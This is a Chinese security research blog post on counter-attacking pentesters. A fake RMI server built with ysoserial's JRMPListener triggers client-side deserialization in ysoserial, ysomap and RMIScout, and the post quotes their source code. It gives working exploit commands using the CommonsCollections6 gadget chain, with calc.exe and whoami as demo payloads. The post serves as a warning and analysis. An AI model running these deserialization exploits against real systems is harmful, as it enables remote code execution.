前言
这个反制的场景非常容易想到,因为很多反序列化的漏洞也都有利用到这个流程,只不过现在将其用到了反制上而已。当然这个估计也有很多师傅写过,也不算是个秘密,不过既然白白白师傅最近在星球提到了这个,那就发出来给JB小子们提个醒避避雷吧。
毕竟,都快改名叫反制回忆录了(大雾
正文
之前分析RMI的时候,发现RMI的调用过程里在客户端和服务端都会触发反序列化,当然具体很复杂,简略了下大概是这么个流程:
随着JDK版本更新,服务端的反序列化点基本都被修复了,但客户端的反序列化点并没有修复。也就是说如果调用了JDK原生的RMI客户端相关调用,连接恶意服务端时就会在客户端触发反序列化,此时如果客户端存在有漏洞的依赖库就会导致代码执行。
这个场景好像很难实现,因为现在RMI很少见。但对安全人员来说,在做渗透测试时,如果发现目标开放了对应的端口,一般还是会打一下试试。流程变成这样:
如果一个安全工具存在上面的问题,在攻击一个假冒的RMI服务时就会导致自身被反打。这个过程简单来说就是这样:
搭建一个恶意rmi服务器,监听1099端口,很容易就被扫除rmi反序列化漏洞
jb小子见状立刻敲起命令使用ysoserial打rmi的反序列化payload
恶意rmi服务器对其注入客户端反序列化代码
jb小子反变肉鸡上线了
那么看下常见的攻击RMI的安全工具有没有这种问题。
上来先看看Java安全神器ysoserial里和RMI有关的exp。yso里面大部分都是本地生成payload,但也有一些打远程服务的,比如RMIRegistryExploit
public static void main(final String[] args) throws Exception {
final String host = args[0];
final int port = Integer.parseInt(args[1]);
final String command = args[3];
Registry registry = LocateRegistry.getRegistry(host, port);
final String className = CommonsCollections1.class.getPackage().getName() + "." + args[2];
final Class<? extends ObjectPayload> payloadClass = (Class<? extends ObjectPayload>) Class.forName(className);
// test RMI registry connection and upgrade to SSL connection on fail
try {
registry.list();
} catch(ConnectIOException ex) {
registry = LocateRegistry.getRegistry(host, port, new RMISSLClientSocketFactory());
}
// ensure payload doesn't detonate during construction or deserialization
exploit(registry, payloadClass, command);
}
public static void exploit(final Registry registry,
final Class<? extends ObjectPayload> payloadClass,
final String command) throws Exception {
new ExecCheckingSecurityManager().callWrapped(new Callable<Void>(){public Void call() throws Exception {
ObjectPayload payloadObj = payloadClass.newInstance();
Object payload = payloadObj.getObject(command);
String name = "pwned" + System.nanoTime();
Remote remote = Gadgets.createMemoitizedProxy(Gadgets.createMap(name, payload), Remote.class);
try {
registry.bind(name, remote);
} catch (Throwable e) {
e.printStackTrace();
}
Utils.releasePayload(payloadObj, payload);
return null;
}});
}
看到了registry.list和registry.bind,这两处就是调用的原生的RegistryImpl_Stub,会触发UnicastRef#invoke->StreamRemoteCall#executeCall导致反序列化,这里就有反序列化点了。
调用链自然也没啥问题,毕竟ysoserial算是天底下反序列化链最多的地方了。感觉就像个弹药库把自己给炸了。
所以攻击很简单,就用JRMPListener在1099端口(RMI注册中心默认端口)起一个恶意服务端,原汤化原食了属于是:
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections6 calc.exe
然后客户端扮演jb小子,nmap扫完看见1099开了直接打:
java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit ip 1099 CommonsCollections6 whoami
喜提计算器。
很奇怪的是在另一个攻击rmi的脚本ysoserial/exploit/JRMPClient.java里
/**
* Generic JRMP client
*
* Pretty much the same thing as {@link RMIRegistryExploit} but
* - targeting the remote DGC (Distributed Garbage Collection, always there if there is a listener)
* - not deserializing anything (so you don't get yourself exploited ;))
*
* @author mbechler
*
*/
注释里特意写了not deserializing anything,说明开发者是想到过反打的问题的,但不知道为什么没有注意到另一处。
顺带一提,恶意服务器如果在实现时触发了反序列化一样是会被攻击的,只不过这种场景少了点。
ysomap是wh1t3p1g大师傅开发的Java反序列化辅助工具,和ysoserial相比可以更细化的修改payload,但是用着比较麻烦,研究了半天也没咋用明白。
同样这个工具也提供了攻击RMI registry的功能,看一下这部分实现,在ysomap/exploits/rmi/component/Naming.java
public static Remote lookup(Registry registry, Object obj)
throws Exception {
RemoteRef ref = (RemoteRef) ReflectionHelper.getFieldValue(registry, "ref");
long interfaceHash = (long) ReflectionHelper.getFieldValue(registry, "interfaceHash");
java.rmi.server.Operation[] operations = (Operation[]) ReflectionHelper.getFieldValue(registry, "operations");
java.rmi.server.RemoteCall call = ref.newCall((java.rmi.server.RemoteObject) registry, operations, 2, interfaceHash);
try {
try {
java.io.ObjectOutput out = call.getOutputStream();
//反射修改enableReplace
ReflectionHelper.setFieldValue(out, "enableReplace", false);
out.writeObject(obj); // arm obj
} catch (java.io.IOException e) {
throw new java.rmi.MarshalException("error marshalling arguments", e);
}
ref.invoke(call);
return null;
} catch (RuntimeException | RemoteException | NotBoundException e) {
重写了lookup,调用了JDK原生的ref.invoke,那么一样是有反打的问题的。
没太用明白,大概是这么用吧:
use exploit RMIRegistryExploit
use payload RMIConnectWrappedWithProxy
use bullet RMIConnectBullet
set target ip:1099
set rhost ip2
run
服务端一样是JRMPListener,一样打cc就行。计算器x2。
RMIScout也是一个攻击RMI的工具,看了下这个工具重点支持攻击服务端的方式,也就是通过爆破远程方法签名攻击服务端,portswigger也宣传过这个工具https://portswigger.net/daily-swig/rmiscout-new-hacking-tool-brute-forces-java-rmi-servers-for-vulnerabilities
在rmiscout/RMIConnector.java一样是看到了原生的registry.list
public RMIConnector(String host, int port, String remoteName, List<String> signatures, boolean allowUnsafe, boolean isActivationServer) {
try {
this.host = host;
this.allowUnsafe = allowUnsafe;
this.signatures = signatures;
this.isActivationServer = isActivationServer;
String[] regNames = null;
isSSL = false;
try {
// Attempt a standard cleartext connection
this.registry = LocateRegistry.getRegistry(host, port);
regNames = registry.list();
这个工具的攻击实际是依赖ysoserial实现的,那么一样会被反打
java -jar rmiscout-1.4-SNAPSHOT-all.jar list ip 1099
计算器x3
常见的攻击RMI的还有个经典工具BaRMIe,实际上它的攻击流程也会触发反序列化,但是这个工具并不是用加载依赖的方式来生成payload的,而是直接写死的。那么没有依赖库,反序列化也很难打本地的链了。
另外metasploit也有对应的exp,完全基于ruby实现的,自然不会有Java反序列化的问题,还是msf懂安全。
https://github.com/frohoff/ysoserial
https://github.com/wh1t3p1g/ysomap